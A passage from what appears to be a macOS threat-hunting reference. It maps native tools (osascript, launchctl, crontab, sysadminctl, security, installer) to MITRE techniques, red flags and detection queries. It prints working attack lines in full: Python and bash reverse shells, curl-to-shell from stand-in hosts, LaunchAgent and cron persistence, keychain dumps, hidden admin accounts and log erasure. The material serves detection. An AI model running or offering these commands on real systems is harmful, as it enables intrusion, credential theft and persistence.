Why it matters: `at jobs` (legacy cron sibling; `com.apple.atrun` is disabled by default). Runs if someone `launchctl load -w'd atrun` (T1053). **Red flags:** Any `at job`; enabled `atrun` without explanation.

3.6 Scripting Interpreters Abused on macOS (T1059.002, T1059.004, T1059.006, T1059.007)

```
osascript -e 'do shell script "whoami; id"'
```

Why it matters: AppleScript executing shell commands as the user, the workhorse of macOS malware (T1059.002). **Red flags:** In logs, `process == "osascript"` events with shell content; `osascript` spawned from mail/web processes.

```
osascript -e 'do shell script "curl -s http://x/ | sh" with administrator privileges'
```

Why it matters: The `with administrator privileges` variant triggers an admin password prompt and runs as **root**. **Red flags:** Admin-prompt abuse, users approving password dialogs for scripts; log traces of `osascript` running root-level commands.

```
osascript -l JavaScript -e 'app = Application.currentApplication(); app.includeStandardAdditions = true;
app.doShellScript("whoami")'
```

Why it matters: JXA, JavaScript for Automation, same power as AppleScript, more opaque (T1059.007). **Red flags:** `.js` files under `~/Library` run by `osascript`; JXA one-liners in logs.

```
python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),
1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

Why it matters: Textbook reverse-shell one-liner pattern (T1059.006). Note: macOS ships **no** system Python, `python3` exists only via `CommandLineTools/Xcode`. **Red flags:** Any `python3` process (presence itself is a signal); strings like `socket.connect`, `dup2`, `/bin/sh`.

```
perl -e '...'; ruby -e '...' # /usr/bin/perl and /usr/bin/ruby ship with macOS (versions verify)
```

Why it matters: Built-in interpreters used for one-liner payloads (T1059.006). **Red flags:** Interpreter processes with no TTY/script; `-e` blobs with network code.

```
curl -s https://evil.example/x.sh | bash
```

Why it matters: Pipe-to-shell, the most common macOS initial-access/download pattern (T1059.004). **Red flags:** In unified log: `processImagePath CONTAINS "curl" + process == "bash"` pairs; shell history hits; note `curl` downloads carry **no quarantine flag** (unlike browsers).

```
launchctl setenv PATH /tmp/evil:$PATH; launchctl getenv PATH
```

Why it matters: Sets environment for the whole GUI/user domain, can hijack PATH for GUI-launched apps (T1574.007). **Red flags:** PATH entries pointing at user-writable dirs; getenv showing injected vars; also check `launchctl getenv DYLD_INSERT_LIBRARIES` (dylib injection).

```
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT service,client,auth_value FROM access;"
```

Why it matters: Direct TCC.db query, but **requires Full Disk Access** even as root (Catalina+); expect an "unable to open" error without FDA (see section 3.8 for proper queries). **Red flags:** Denied (0) → allowed (2) flips on sensitive services for unknown apps.

```
swift -e 'import Foundation; print(ProcessInfo.processInfo.environment)' # brief
```

Why it matters: Swift one-liners (needs CommandLineTools) used for macOS-native payloads. **Red flags:** Swift processes with embedded scripts; CLT install at compromise time.

```
ls -la ~/Library/Services/ /Library/Services/ # Automator/Services workflows (brief)
```

Why it matters: Automator workflows and (via the Shortcuts DB, verify path) shortcuts can be trigger-persisted. **Red flags:** `.workflow` bundles appearing unprompted; workflows containing shell actions.

3.7 Files & Artifacts (T1005)

```
mdls /path/to/file
```

Why it matters: Full Spotlight metadata, including `kMDItemWhereFroms` (download origin) and dates. **Red flags:** Files whose where-froms URL is odd; birth/modified mismatches.

```
mdfind 'kMDItemWhereFroms == "*evil.example*"'
mdfind 'kMDItemWhereFroms == ""' -onlyin ~/Downloads
```

Why it matters: The killer hunt: find every file whose *download origin* matches, by domain or all downloaded files. **Red flags:** Any hit for attacker domains; large clusters of downloads before an incident; note Spotlight index gaps (external volumes, recent files, disabled indexing).

```
sudo find / -xdev -type f -mtime -7 2>/dev/null
```

Why it matters: Recently modified files system-wide, the timeline backbone (`-mmin -60` for last hour). **Red flags:** New/modified files in `/Library`, `/usr/local`, `/etc`, `~/Library` during the incident window.

```
ls -la0@ /path/to/file
```

Why it matters: File flags (`-0`) and extended attributes (`@` column). **Red flags:** `uchg/uappnd` (immutable, attacker or defender locking files), `hidden` (attacker hides with `chflags hidden`), `restricted` (SIP-protected, odd on non-Apple files), `compressed` (APFS).

```
xattr -l /path/to/file; xattr -lr /path/to/dir
```

Why it matters: All extended attributes, recursively. **Red flags:** `com.apple.quarantine` missing where expected; `com.apple.provenance` anomalies; unknown custom attributes.

```
stat -x /path/to/file
```

Why it matters: Full stat including **Birth** (creation) time, the mtime-independent artifact. **Red flags:** Mtime older than birth (timestomping via `setfile -d/-m` can't rewrite birth); birth time during incident window.

```
sudo lsof +L1
```

Why it matters: Open files that have been deleted, running malware often deletes itself from disk. **Red flags:** Any deleted-but-open executable/shell/script; processes whose binary is gone = live-memory-only threat.

```
sudo fs_usage -w -f filesystem
```

Why it matters: Live filesystem syscall trace (needs root). **Red flags:** Reads/writes to config, plists, and TCC paths by unexpected processes.

```
sudo opensnoop # DTrace-based, requires SIP disabled; largely unavailable on modern macOS
```

Why it matters: File-open tracing, the old favorite. **Red flags:** Use `fs_usage` or Endpoint Security telemetry instead on modern systems; `opensnoop` failing to run is expected, not suspicious.

```
strings -a /path/to/binary | grep -iE 'http://|https://|curl|socket|reverse|/bin/sh|base64'
```

Why it matters: Fast static scan for network/exec indicators before full reverse engineering. **Red flags:** C2-looking URLs; shell/exec strings in a GUI app; base64 blobs.

```
otool -L /path/to/binary
```

Why it matters: Linked dylibs (brief), non-standard linkage is a red flag. **Red flags:** Dylibs from `/tmp`, user-writable paths, or `@executable_path` oddities.

3.8 TCC / Privacy (T1548)

DB	Path	Notes
System TCC	/Library/Application Support/com.apple.TCC/TCC.db	Protected: needs Full Disk Access + SIP considerations
User TCC	~/Library/Application Support/com.apple.TCC/TCC.db	Also FDA-protected on Catalina+

```
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT service, client, client_type, auth_value, auth_reason, last_modified FROM access ORDER BY last_modified DESC;"
```

Why it matters: Permission grants with timestamps, what apps can access what (T1548). **Red flags:** `auth_value` flips on Accessibility, Screen Recording, Full Disk Access (`kTCCServiceSystemPolicyAllFiles`), AppleEvents for unknown apps; recent `last_modified` on sensitive services.

auth_value	Meaning
0	Denied
2	Allowed
3	Limited (verify on target version)

```
systemextensionsctl list
```

Why it matters: System Extensions (endpoint/network/driverkit), modern replacement for kexts, requires user approval. **Red flags:** Unknown `endpoint-extension` or `network-extension` bundle IDs; states stuck in "waiting"/"terminated" (unapproved = suspicious install attempt).

```
sudo log show --predicate 'subsystem == "com.apple.endpointsecurity"' --last 1d
```

Why it matters: Endpoint Security framework events, the channel EDR agents (SentinelOne, CrowdStrike, Defender) use. **Red flags:** No ES client loaded at all on a managed host; ES framework errors at incident time; correlate with `systemextensionsctl list`.

3.9 Key macOS Event Sources

```
sudo log show --predicate 'eventMessage CONTAINS[c] "XProtect"' --last 30d
```

Why it matters: XProtect (built-in AV) detection events, Apple's own first alert. **Red flags:** XProtect detections of malware families you're hunting; check XProtect signature version in `/Library/Apple/System/Library/CoreServices/XProtect.bundle` (verify path per version).

```
sudo log show --predicate 'process == "syspolicyd"' --info --debug --last 7d
```

Why it matters: syspolicyd = Gatekeeper's daemon, assessments, quarantine decisions, notarization checks. **Red flags:** Gatekeeper rejections followed by same-binary executions (bypass attempts); assessments disabled state changes.

```
security find-generic-password -a <account-name> -g # interactive; use on suspects
```

Why it matters: Dumps a saved keychain password (prompts for keychain unlock), and is exactly what malware calls to steal credentials (T1555.001). **Red flags:** In scripts/logs: security find-generic-password invocations, -g flag, for accounts you don't expect.

```
security dump-keychain ~/Library/Keychains/login.keychain-db
```

Why it matters: Bulk keychain dump, the full credential grab. **Red flags:** Evidence of this command's usage in attacker tooling/scripts; keychain DBs at ~/Library/Keychains/login.keychain-db and ~/Library/Keychains/System.keychain accessed at odd times.

```
sudo lsof | grep -i keychain
```

Why it matters: Which processes currently hold keychain files open, live credential-access detection. **Red flags:** Script interpreters (osascript, python) or unknown binaries with keychain files open.

```
tail -50 /var/log/install.log
```

Why it matters: Software installs (installer/pkgutil), attacker packages show up here. **Red flags:** Installer runs at odd hours; packages from non-Apple origins (check Receipts in /var/db/receipts for a persistent install record).

Source-of-truth summary

Event	Where it lives
TCC grants/denies	Unified log subsystem == "com.apple.TCC" + TCC.db
Gatekeeper decisions	Unified log process == "syspolicyd" + /var/db/SystemPolicyConfiguration/ (sqlite, root)
XProtect detections	Unified log (eventMessage CONTAINS "XProtect")
sudo/auth	Unified log (process == "sudo") + /var/log/system.log
Logins	last (/var/log/wtmp)
Installs	/var/log/install.log, /var/db/receipts
Crash/report data	/Library/Logs/DiagnosticReports, ~/Library/Logs/DiagnosticReports

Section 3 (cont.): macOS Native Tool Catalog, Execution & Persistence, Suspicious Parameters

Scope: macOS 10.15+ (legacy flags marked). Detection shorthand: ES = Endpoint-Security `exec/file` events; UL = unified log (`log show --predicate`); TCC = privacy prompt logs. Note: `nc -e` does NOT exist on macOS `netcat`.

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
osascript	Run AppleScript / JXA	<code>-e '...'</code> , <code>-l JavaScript</code> , <code>-i</code> ; <code>do shell script</code> , <code>tell application "System Events"</code> , <code>JXA ObjC.import('stdlib')</code> ; <code>\$.system(...)</code> / <code>ObjC.classes.NSTask</code>	Executes unsigned scripts; UI scripting; <code>do shell script</code> = arbitrary command run; no compiled binary left on disk	T1059.002, T1547.015
osacompile	Compile AppleScript to <code>.sct</code> / <code>.app</code>	<code>-o out.app</code> , <code>-e</code> , <code>-x</code> , <code>-t app</code> , <code>-d</code>	Builds masquerading <code>.app</code> droppers; compiles payloads on the fly from <code>stdin</code> / <code>-e</code>	T1059.002
open	Open files/apps/ URLs via LaunchServices	<code>-f (stdin)</code> , <code>-u <url></code> , <code>-a <app></code> , <code>-n</code> , <code>-g</code> , <code>-j</code> , <code>-W</code> , <code>-R</code> , <code>-e</code>	User-Execution of downloaded payloads; phishing links via <code>-u</code> ; silent launch (<code>-g -j</code> hides window); <code>-n</code> forces re-launch	T1204.002, T1204.001
sh / bash / zsh	Shell interpreters	<code>curl -sSfL <url> sh</code> , <code>bash -i >& /dev/tcp/IP/PORT 0>&1</code> , <code>sh -c '...'</code> , <code>zsh -c '...'</code> , script via <code>stdin</code> ... <code>bash</code>	Remote staging without disk write; reverse shells (<code>bash 3.2</code> supports <code>/dev/tcp</code>); one-liner <code>exec</code> ; <code>nc -e</code> does not exist on macOS	T1059.004
installer	Install <code>.pkg</code> bundles	<code>-pkg x.pkg</code> <code>-target /</code> , <code>-allowUntrusted</code> , <code>-verboseR</code> , <code>-volume</code> , <code>-lang</code> , <code>-pkginfo</code> , <code>-query</code>	Installs spoofed/malicious pkgs; preinstall/postinstall scripts run as root; <code>-allowUntrusted</code> installs signature-invalid package	T1204.002, T1553
pkgutil	Inspect/manage package receipts	<code>--expand x.pkg <dir></code> , <code>--flatten</code> , <code>--bom</code> , <code>--files <id></code> , <code>--payload-files</code> , <code>--pkg-info</code>	Unpacks then repacks trojanized installers (with <code>pkgbuild/productbuild</code>); enumerates installed pkg contents (recon)	T1204.002, T1553
softwareupdate	Apple software updater	<code>-l/--list</code> , <code>-i -a/--install --all</code> , <code>--no-scan</code> , <code>--background</code> , <code>--fetch-full-installer</code> , <code>--agree-to-license</code>	Abuse is masquerade: fake "update" binaries/scripts, "Flash Update" lures; odd-PATH <code>softwareupdate</code> spawns	T1036.005
automator	Run Automator workflows	<code>automator -i <input> <file>.workflow</code>	<code>.workflow</code> in a phishing zip runs shell actions on double-click; runs in user context	T1059
pkgbuild / productbuild	Build <code>.pkg</code> installers	<code>pkgbuild --root evil/ --scripts evil/</code> , <code>productbuild --package</code>	Re-sign/repackage malware into valid-looking pkgs	T1553

Persistence & Services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
launchctl	Control launchd jobs	<code>bootstrap gui/(id -u) <plist></code> , <code>bootstrap system <plist></code> , <code>bootout</code> , <code>load -w/-F</code> (legacy), <code>unload -w</code> , <code>kickstart -k [-p]</code> , <code>setenv</code> , <code>enable/disable</code> , <code>print</code> ; <code>submit</code> legacy/removed on modern macOS (was <code>submit -l <label> -- <cmd></code>)	Persistence via LaunchAgents/Daemons; respawn killed payloads (<code>kickstart -k</code>); <code>load -w</code> overrides Disabled; <code>setenv</code> poisons child env	T1543.001

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
Login Items (System Events)	Manage login startup apps	<code>osascript -e 'tell application "System Events" to make login item at end with properties {path:"...", hidden:true}'; modern: tampering ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>	Silent logon persistence outside LaunchAgents; <code>hidden:true</code> avoids UI; <code>-admin</code> not required	T1547.015
cron / crontab	Scheduled user jobs	<code>echo '<job>' crontab -, crontab -u <otheruser>, crontab -r, crontab -l, crontab <file></code>	Persistence/C2 beacon without launchd; <code>crontab -</code> writes jobs with no editor trace; <code>-u</code> targets other users	T1053.003
at	One-shot scheduled jobs (atrun)	<code>at -f <script> now, echo cmd at now + 1 minute, atq, atrm, batch</code>	Fire-and-forget timed payload; does not survive reboot, but evades review; <code>atq</code> lists attacker jobs	T1053.002
/etc/periodic	Root maintenance scripts (daily/weekly/monthly)	New executables in <code>/etc/periodic/daily</code> , <code>/etc/periodic/weekly</code> , <code>/etc/periodic/monthly</code> ; <code>periodic</code> daily invocation	Root persistence via launchd <code>com.apple.periodic-*</code> ; scripts run as root	T1053.003
Emond (config ref)	Apple Event Monitor daemon (unsupported/legacy)	Rule plists in <code>/etc/emond.d/rules/*.plist</code> : <code>enabled</code> , <code>eventTypes</code> (e.g. <code>startup</code> , <code>login</code>), <code>criteria</code> , <code>actions</code> : <code>[{action:"run", command, arguments}]</code> ; config <code>/etc/emond.d/emond.plist</code>	Root persistence: rules run arbitrary commands on system events; documented malware abuse	T1546.014
nohup	Run command immune to SIGHUP	<code>nohup bash -c '...' &, nohup /tmp/x &</code>	Keeps payload running after parent shell exits	T1059.004
profiles	Manage MDM configuration profiles	<code>install -path <file.mobileconfig>, remove -identifier <id>, show -type configuration, status/renew -type enrollment, legacy -I -F -D -P</code>	Attacker-enrolled MDM; ManagedPreferences payload drops LaunchAgent plists; rogue root CA; VPN/WiFi exfil configs	T1553.004, T1547

launchd plist keys, suspicious values

Key	Normal use	Suspicious value	Attacker use	MITRE
RunAtLoad	run job at load/login	<code>true</code> on new/unknown plists	Instant persistence at login	T1543.001
KeepAlive	keep job running	<code>true</code> or <code>{SuccessfulExit/Crashed}</code> on payload jobs	Respawns implant after kill	T1543.001
ProgramArguments	command array	single element <code>/bin/bash -c "curl ... sh"</code> ; paths in <code>/tmp</code> , <code>~/Library</code> , <code>/Users/Shared</code>	Shell one-liner as the job	T1543.001
WatchPaths	trigger on file change	<code>~/Downloads</code> , shared dirs	Staged-execution trigger	T1543.001
StartInterval	periodic seconds	short interval (60-300) on unknown jobs	Beacon/polling	T1543.001
StartCalendarInterval	cron-like dict schedule	odd hour/minute dicts	Scheduled exec	T1543.001
Program (legacy)	old command key	used alongside ProgramArguments (invalid); legacy artifact	Legacy detection artifact	T1543.001
EnvironmentVariables	env for job	<code>PATH</code> → <code>/tmp</code> or user-writable dir	Path hijack of tools the job calls	T1543.001
LimitLoadToSessionType	session scope	<code>Background/LoginWindow</code> on user agents	Hide from GUI/ logged-out run	T1543.001

Configuration & Plist Tampering

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
plutil	Property list reader/editor	<code>-create xml1 <file></code> , <code>-insert/-replace/-remove <key> -bool/-string/-json <val> <file></code> , <code>-convert binary1</code> , <code>-extract</code> , <code>-lint</code> , <code>-p</code>	Crafts/tampers launchd and login-item plists; converts binary→xml to edit then back	T1543.001
defaults	Read/write preferences and arbitrary plists	<code>defaults write <plist-path> <key> <value></code> , <code>defaults delete</code> , <code>defaults read</code> , <code>defaults import/export</code> ; <code>defaults write com.apple.LaunchServices LSQuarantine -bool false</code> (legacy pre-Catalina)	Persistence by writing LaunchAgent plist keys; disables quarantine/Gatekeeper prompts; loginwindow hijacks	T1547, T1562.001

Credential Access & Privilege Escalation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
sysadminctl	Local user & password management	<code>-addUser <u> -password <p> -admin</code> , <code>-fullName</code> , <code>-deleteUser</code> , <code>-resetPasswordFor <u> -newPassword <p></code> , <code>-secureTokenOn/-secureTokenOff</code> , <code>-adminUser/-adminPassword</code> , <code>-autoUser</code>	Creates hidden admin account (no <code>-fullName</code>); grants FileVault unlock token; resets victim passwords	T1136.001
sudo	Run command as root/other user	<code>sudo -S</code> , <code>sudo -i</code> , <code>sudo -u <user></code> , <code>sudo -s</code> , <code>sudo sh -c '...'</code> , <code>sudo -l</code>	Escalation with cached/harvested creds; <code>-S</code> reads password from stdin so scripts can pipe it	T1548.003

Defense Evasion, Cross-References

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
spctl (cross-ref, see Section: Security Tools)	Gatekeeper assessment	<code>--master-disable</code> (removed on modern macOS), <code>--add --label</code> whitelisting	Disable/whitelist Gatekeeper, full catalog in Security Tools section	T1553
csrutil (cross-ref, see Section: Security Tools)	SIP control (recoveryOS)	<code>disable</code> , <code>enable</code> , <code>status</code>	Disable SIP to strip runtime protections, full catalog in Security Tools section	T1562.001

Detail Blocks, Most-Abused Tools

1. launchctl

```
launchctl bootstrap gui/$(id -u) /tmp/evil.plist
launchctl load -w ~/Library/LaunchAgents/back.plist
launchctl kickstart -k gui/$(id -u)/com.evil.daemon
```

- `bootstrap <domain> <plist>` (modern, replaces load): registers a job from an arbitrary path; loading from `/tmp` or `/Users/Shared` is a red flag. `bootout` unregisters.
- `load -w/-F` (legacy but functional): `-w` overrides the Disabled key; `-F` force-loads. `launchctl submit` is legacy/removed on modern macOS; its appearance indicates old tooling.
- `kickstart -k`: kills and restarts a job, used to respawn a dropped payload without logout.
- Detection: ES exec events on `launchctl`; `UL log show --predicate 'subsystem == "com.apple.xpc.launchd"'`; `diff launchctl print gui/501 / sudo launchctl print system` against baseline; ES file events on plist writes in `~/Library/LaunchAgents`, `/Library/LaunchAgents`, `/Library/LaunchDaemons`.

2. osascript / JXA

```

osascript -l JavaScript -e 'ObjC.import("stdlib"); $.system("curl -s http://evil/x.sh | sh")'
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Users/x/evil.app", hidden:true}'
osascript -e 'do shell script "nohup /tmp/x &"'

```

- `-l JavaScript`: JXA; the ObjC bridge (`ObjC.import`, `$.system`, `ObjC.classes.NSTask`) gives arbitrary process execution with no compiled binary.
- `System Events ... make login item ... hidden:true`: silent login persistence; also enables keystroke UI scripting (TCC baiting).
- `do shell script`: runs a command as the invoking user.
- Detection: TCC prompt "osascript wants to control System Events" (log stream for TCC); UL `log show --predicate 'process == "osascript"'`; ES exec with parent `osascript`; auditd/ES for child processes (`curl`, `bash`) spawned from `osascript`.

3. sh / bash / zsh (curl|sh, reverse shell)

```

curl -sSfL https://evil.example/x.sh | sh
bash -i >& /dev/tcp/192.0.2.5/4444 0>&1
echo 'curl -s http://c2/ | bash' | crontab -

```

- `curl ... | sh`: remote script piped straight into a shell, nothing saved to disk. Same pattern with `wget`, `python -c`, `perl -e`.
- `bash -i >& /dev/tcp/IP/PORT 0>&1`: interactive reverse shell; macOS bash 3.2 supports `/dev/tcp`. Remember: `nc -e` does NOT exist on macOS; alternatives are `/dev/tcp`, `mkfifo` pipelines, or `socat` (third-party).
- Detection: ES exec of `curl/wget/sh/bash` where parent chain or stdout is a shell; firewall/proxy logs showing shell-initiated outbound connects (`lsof -i` on bash PIDs); any `bash` invoked with `-i` plus `>&` redirection is nearly always a reverse shell; UL for `/usr/libexec/sshd` is rarely relevant; focus on terminal-less shells.

4. launchd plist persistence (RunAtLoad / KeepAlive)

```

plutil -create xml1 ~/Library/LaunchAgents/com.evil.plist
plutil -insert RunAtLoad -bool true ~/Library/LaunchAgents/com.evil.plist
plutil -insert ProgramArguments -json '["/bin/bash", "-c", "curl -s http://c2/ | sh"]' ~/Library/LaunchAgents/com.evil.plist
plutil -insert KeepAlive -bool true ~/Library/LaunchAgents/com.evil.plist

```

- `RunAtLoad true`: executes at login/load, the trigger. `KeepAlive true`: respawns on exit/crash so kill attempts fail. `WatchPaths`: runs when a watched path changes (staging). `StartInterval/StartCalendarInterval`: periodic callbacks.
- `ProgramArguments` must be a JSON array; a lone `bash -c "curl ...|sh"` element is a classic implant shape. Legacy `Program` key cannot coexist with `ProgramArguments`.
- Detection: `find ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons -name '*.plist' -mtime -7`; `grep ProgramArguments` for `bash -c`, `curl`, `osascript`; ES file-write events on those dirs; diff `launchctl print` output.

5. defaults / plutil plist tampering

```

defaults write com.apple.LaunchServices LSQuarantine -bool false
defaults write ~/Library/LaunchAgents/com.evil.plist RunAtLoad -bool true
plutil -convert binary1 ~/Library/LaunchAgents/com.evil.plist

```

- `LSQuarantine -bool false` (legacy pre-Catalina): stops downloaded files from being marked quarantined, suppresses Gatekeeper/notarization prompts.
- `defaults write <arbitrary .plist path>`: writes keys into any plist, LaunchAgents included, bypassing plist-aware tools.
- `plutil -convert binary1`: hides plist edits from casual text viewers.
- Detection: ES file events for `defaults/plutil` targeting non-preferences paths; UL `log show --predicate 'process == "defaults" OR process == "plutil"'`; baseline diffs of `defaults` read for `LaunchServices` and `loginwindow`.

6. cron / crontab

```
echo '*/5 * * * * /bin/sh -c "curl -s http://c2/ | bash"' | crontab -
crontab -l; crontab -r
```

- `crontab -` installs jobs from stdin, no editor, minimal shell-history trace; `-u <user>` writes another user's crontab; `-r` wipes (anti-forensics).
- Detection: ES exec of `crontab`; per-user `crontab -l` sweep (including `_mbsetupuser`, `daemon`); entries referencing `curl/wget/IP` literals are suspicious; UL `log show --predicate 'eventMessage CONTAINS "crontab"'`.

7. at & /etc/periodic

```
echo '/tmp/evil.sh' | at now + 1 minute
at -f /tmp/evil.sh now
ls -la /etc/periodic/daily /etc/periodic/weekly
```

- `at now + N`: one-shot job via `launchd's atrun`, fire-and-forget payload, no plist review surface; `atq/atrm` manage jobs.
- `/etc/periodic/{daily,weekly,monthly}` scripts execute as root through `com.apple.periodic-*` `launchd` jobs; a new script there is root persistence.
- Detection: `atq`; files under `/var/at/jobs`; `find /etc/periodic -type f -mtime -7`; ES exec of `at/atrun/periodic`; UL `log show --predicate 'process == "periodic" OR process == "atrun"'`.

8. sysadminctl

```
sudo sysadminctl -addUser tempadmin -password 'Str0ng!1' -admin
sudo sysadminctl -secureTokenOn tempadmin -password 'Str0ng!1'
sudo sysadminctl -resetPasswordFor victim -newPassword pwned
```

- `-addUser ... -admin`: creates a local admin account; omitting `-fullName/-picture` keeps it out of the user list UI.
- `-secureTokenOn`: grants FileVault unlock rights, attacker keeps disk access across reboots.
- `-resetPasswordFor <user> -newPassword`: password hijack (resets without old password when authorized).
- Detection: ES exec of `sysadminctl`; `DirectoryService` log entries (`/var/log/com.apple.DirectoryService*`, `UL subsystem com.apple.directoryservices`); user-list diff: `dscl . -list /Users + dscl . -read <user>`; UL `log show --predicate 'eventMessage CONTAINS "sysadminctl"'`.

9. installer

```
sudo installer -pkg ./Update-2026.pkg -target /
installer -pkg ./evil.pkg -target / -allowUntrusted -verboseR
```

- `-target /`: system-wide install; `pkg preinstall/postinstall` scripts run as root, the actual payload vector.
- `-allowUntrusted`: installs a package that failed signature validation, the attacker's bypass for unsigned bundles.
- Detection: ES exec of `installer` with unusual parent (`Terminal`, `osascript`) vs GUI user-initiated installs; `/var/log/install.log` lines; receipt diff `pkgutil --pkgs before/after`; inspect new package scripts: `pkgutil --expand <pkg> <dir>` then read `PackageInfo` and `Scripts/`.

10. profiles / Login Items

```
sudo profiles install -path ~/Downloads/spoof.mobileconfig
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Users/x/evil.app", hidden:true}'
```

- `profiles install -path`: attacker-supplied `mobileconfig` can push `ManagedPreferences` (drops `LaunchAgent` plists), a rogue root CA, or VPN/Wi-Fi exfil config; prompt is spoofable and skipped on MDM-enrolled Macs.
- Login items: legacy `AppleScript` make login item and modern `SMApService` registration both land in `~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm`.
- Detection: `profiles show -type configuration / sudo profiles -P` (legacy); TCC prompt for System Events; ES file writes to `backgrounditems.btm`; UL `log show --predicate 'process == "osascript" OR eventMessage CONTAINS "mobileconfig"'`.

Section 3 (cont. 2): macOS Native Tool Catalog, Security & Signing, Suspicious Parameters

Scope: security, signing, TCC, keychain, kext, log, and encryption CLI abuse. Cross-references: `csrutil` and `spctl` are covered in mac-1 (do not duplicate here, `spctl -a bypass + csrutil disable` hunting lives there); `dsccl` full detail is in mac-1 (brief row here). Note: macOS `nc` does NOT support `-e` (no `nc -e /bin/sh` reverse shells on stock macOS (it also lacks `-c`); rely on `/dev/tcp` or third-party builds).

Signing & Code Identity

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>codesign</code>	Sign, verify, and inspect code signatures	<code>-s</code> (ad-hoc sign), <code>-f</code> (force overwrite sig), <code>--deep</code> , <code>--timestamp=none</code> , <code>-i</code> (arbitrary identifier)	Re-signs dropped binaries with ad-hoc signature to pass basic signature checks after stripping quarantine; <code>--deep</code> signs bundled payloads; <code>--timestamp=none</code> skips Apple notarization timestamp	T1553.001
<code>xattr</code>	Manage extended attributes (incl. quarantine flag)	<code>-d com.apple.quarantine</code> , <code>-c</code> (clear all), <code>-r</code> (recursive), <code>-w</code> (write attr)	Strips <code>com.apple.quarantine</code> from downloaded malware so Gatekeeper does not block/flag it; recursive clear wipes detection metadata	T1562.001
<code>csreq</code>	Display/convert code-signing requirement files	<code>-r <reqfile></code> , <code>-t</code> (requirement via stdin)	Recon: dumps signing requirements to craft matching/forged requirement strings	T1553.001

Kernel & Kext Manipulation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>kmutil</code>	Manage kernel collections and kext loading	<code>load -p <path></code> , <code>kickstart -p <path></code> , <code>configure-boot -c <object></code> (Recovery-only), <code>unload -b <id></code>	Loads attacker-controlled kext from non-system path (kernel implant); kickstart re-loads kext without reboot	T1547.006
<code>kextutil</code>	Load/test kexts, legacy, kext loading deprecated since 10.15	<code>-l</code> (load), <code>-t</code> (run diagnostics), <code>-b <bundle-id></code> , <code>-n</code> (no-load)	Legacy path to inject untrusted kexts; still abused on older/approved-kext systems	T1547.006
<code>kextload</code>	Legacy kext loader (removed from modern macOS)	<code>kextload /path/foo.kext</code>	Legacy (pre-Catalina) kext injection; treat its execution on 10.15+ as anomalous	T1547.006
<code>kextunload</code>	Legacy kext unloader (removed from modern macOS)	<code>kextunload -b <bundle-id></code>	Unloads security/AV kexts or hides a kext implant	T1547.006
<code>kextstat</code>	List loaded kexts, deprecated	<code>-l</code> , <code>-b <id></code> , <code>-k</code>	Post-infection recon: check for rogue/unsigned kexts with load addresses	T1007
<code>systemextensionsctl</code>	Manage system extensions (modern kext replacement)	<code>list</code> , <code>developer on</code> (needs SIP off/admin)	Enumerates installed extensions; developer mode enables loading untrusted dev extensions	T1547.006

Logging & Log Tampering

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>log</code>	Query/stream/configure unified log	<code>erase --all</code> (root), <code>config --mode off --subsystem <sub></code>	<code>log erase --all</code> wipes the forensic log store; <code>log config --mode off</code> disables logging for a subsystem (e.g., TCC) to blind detection	T1070.002; T1562.001

Credential Access & Keychain

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
security	Keychain & security-framework CLI	dump-keychain -d, unlock-keychain -p <pass>, find-generic-password -w, set-key-partition-list -S apple-tool:,apple: -s -k <pass>, add-generic-password -w, delete-generic-password, authorizationdb write, import	dump-keychain -d dumps plaintext passwords; set-key-partition-list lets malware access keychain items without user prompt (XCSSET pattern); find-generic-password -w extracts secrets	T1555.001

Directory Services & Account Manipulation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dscacheutil	Query/flush directory-service and DNS caches	-q user, -q group, -q host, -flushcache	Account/host enumeration; cache flush after creating accounts or poisoning host entries to cover tracks	T1087
dseditgroup	Edit local group membership	-o edit -a <user> -t user admin, -o create	Adds attacker account to admin/_developer group → local privilege escalation	T1098
dscl	Directory service CLI (brief; full detail in mac-1)	-passwd /Users/<u> <pw>, -create /Users/<u>, -append /Groups/admin GroupMembership <u>	Password reset, local account creation (T1136.001), admin add, see mac-1	T1136.001; T1098

Privacy, TCC & Local Data

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tccutil	Manage TCC privacy-permission database (only reset subcommand exists)	reset <service> [bundle-id], reset All <bundle-id>	reset All <app> wipes all grants (re-prompts, confuses user); reset of specific services to clear a victim's legitimate grants or force phishing re-prompt	T1562.001
sqlite3	SQLite database CLI (native)	-readonly, -header -csv, .dump on TCC.db, ~/Library/Safari/History.db, Contacts/Mail DBs	Reads browser history/TCC/contacts DBs for data theft; edits TCC.db grants (root) to bypass privacy controls	T1005; T1562.001

Firmware & Encryption (Defense Evasion)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
nvrnm	Read/write NVRAM variables	boot-args="...", -d <key>, -c	Sets boot-args (e.g., amfi_get_out_of_my_way=1, -s) to weaken boot security when SIP is off; -d / -c clears NVRAM evidence	T1542.001; T1070
fdsetup	FileVault full-disk encryption management	disable, list, remove -user <u>, add -user <u>, changerecovery	disable turns off disk encryption (data theft/anti-forensics prep); list/remove enumerates or locks out FileVault users	T1562.001; T1486

